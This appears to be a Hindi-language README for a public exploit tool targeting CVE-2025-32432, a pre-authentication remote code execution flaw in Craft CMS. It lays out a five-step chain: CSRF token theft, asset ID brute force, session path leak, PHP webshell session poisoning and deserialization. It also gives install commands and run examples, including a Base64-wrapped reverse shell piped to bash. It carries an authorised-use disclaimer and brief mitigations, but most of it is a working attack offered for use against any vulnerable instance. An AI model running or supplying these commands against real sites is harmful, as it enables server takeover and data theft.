Craft CMS 3.x/4.x/5.x के लिए विश्वसनीय CVE-2025-32432 pre-auth RCE exploit, वहाँ काम करता है जहाँ अन्य सार्वजनिक PoC विफल हो जाते हैं
लेखक: P34NUT2
भेद्यता: Craft CMS में रिमोट कोड एक्ज़ीक्यूशन (प्री-ऑथेंटिकेटेड)
CVE: CVE-2025-32432
लक्ष्य: कोई भी भेद्य Craft CMS इंस्टेंस (3.x / 4.x / 5.x) — Hack The Box: Orion पर परीक्षित
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत पेनेट्रेशन परीक्षण के लिए प्रदान किया गया है, नियंत्रित वातावरण जैसे Hack The Box, TryHackMe, या आपके स्वामित्व वाले या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है, ऐसे निजी लैब सेटअप में।
इस टूल का अनधिकृत उपयोग उन सिस्टमों के विरुद्ध जो आपके स्वामित्व में नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है, Computer Fraud and Abuse Act (CFAA), EU Directive on Attacks Against Information Systems, और दुनिया भर के अधिकांश क्षेत्राधिकारों में समकक्ष कानूनों के तहत अवैध है।
लेखक इस सॉफ़्टवेयर के उपयोग से होने वाले किसी भी दुरुपयोग, क्षति, या कानूनी परिणामों के लिए कोई ज़िम्मेदारी या दायित्व नहीं लेता। ज़िम्मेदारी और नैतिकता से उपयोग करें।
CVE-2025-32432 के लिए अधिकांश सार्वजनिक PoC वास्तविक दुनिया के लक्ष्यों जैसे HTB: Orion के विरुद्ध विफल हो जाते हैं, क्योंकि:
&, >, ) का टूटा हुआ प्रबंधन<यह एक्सप्लॉइट उन विश्वसनीयता समस्याओं को हल करने के लिए शुरू से बनाया गया था। यह URL एन्कोडिंग को ठीक से संभालता है, गतिशील टोकन निष्कर्षण को स्वचालित करता है, और किसी भी भेद्य Craft CMS इंस्टेंस के विरुद्ध विश्वसनीय निष्पादन प्राप्त करने के लिए Base64 रैपर पाइपलाइनों का उपयोग करता है — वास्तविक परिनियोजनों के विरुद्ध सत्यापित और HTB Orion पर सिद्ध।
| चरण | क्रिया | विवरण |
|---|---|---|
| 1 | सत्र और CSRF अधिग्रहण | एडमिन एंडपॉइंट से CraftSessionId, CRAFT_CSRF_TOKEN, और गतिशील CSRF_TOKEN निकालता है |
| 2 | एसेट ID खोज | ट्रांसफ़ॉर्म जनरेशन पेलोड के लिए आवश्यक वैध एसेट ID को ब्रूट-फ़ोर्स करता है |
| 3 | सत्र पथ लीक | phpinfo() को ट्रिगर करने और session.save_path को गतिशील रूप से पढ़ने के लिए एक Guzzle ऑब्जेक्ट इंजेक्ट करता है |
| 4 | सत्र विषाक्तता | सक्रिय सत्र फ़ाइल में एक URL-एन्कोडेड PHP वेबशेल पेलोड इंजेक्ट करता है |
| 5 | RCE ट्रिगर | मनमाने सिस्टम कमांड निष्पादित करने के लिए विषाक्त सत्र को अनसीरियलाइज़ करता है |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| फ़्लैग | लॉन्ग ऑप्शन | आवश्यक | विवरण |
|---|---|---|---|
-u | --url | ✅ हाँ | लक्ष्य बेस URL (जैसे http://example.com) |
-c | --cmd | ✅ हाँ | रिमोट लक्ष्य पर निष्पादित करने के लिए कमांड |
-a | --asset | ❌ नहीं | ज्ञात वैध एसेट ID (निष्पादन को तेज़ करता है) |
-s | --scan-max | ❌ नहीं | अधिकतम एसेट ID ब्रूट-फ़ोर्स रेंज (डिफ़ॉल्ट: 300) |
1. बुनियादी कमांड निष्पादन
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. ज्ञात एसेट ID के साथ (तेज़)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. एन्कोडेड पेलोड (विशेष वर्णों के लिए अनुशंसित)
विशेष वर्णों को HTTP पार्सर द्वारा बदले जाने या सत्र प्रबंधन के दौरान काटे जाने से रोकने के लिए, पास करने से पहले अपने कमांड को Base64 में एन्कोड करें:
# चरण 1 — अपने कमांड को स्थानीय रूप से एन्कोड करें
echo -n "YOUR_COMMAND_HERE" | base64
# चरण 2 — एन्कोडेड स्ट्रिंग को स्क्रिप्ट के माध्यम से पास करें
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Base64 रैपर के माध्यम से रिवर्स शेल
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
यदि आप Craft CMS चला रहे सिस्टम प्रशासक या डेवलपर हैं, तो निम्नलिखित शमन उपाय लागू करें:
/actions/*) तक फ़ायरवॉल नियमों या मिडलवेयर के माध्यम से।यह प्रोजेक्ट केवल शैक्षिक और अधिकृत परीक्षण उपयोग के लिए लाइसेंस प्राप्त है। विवरण के लिए LICENSE देखें।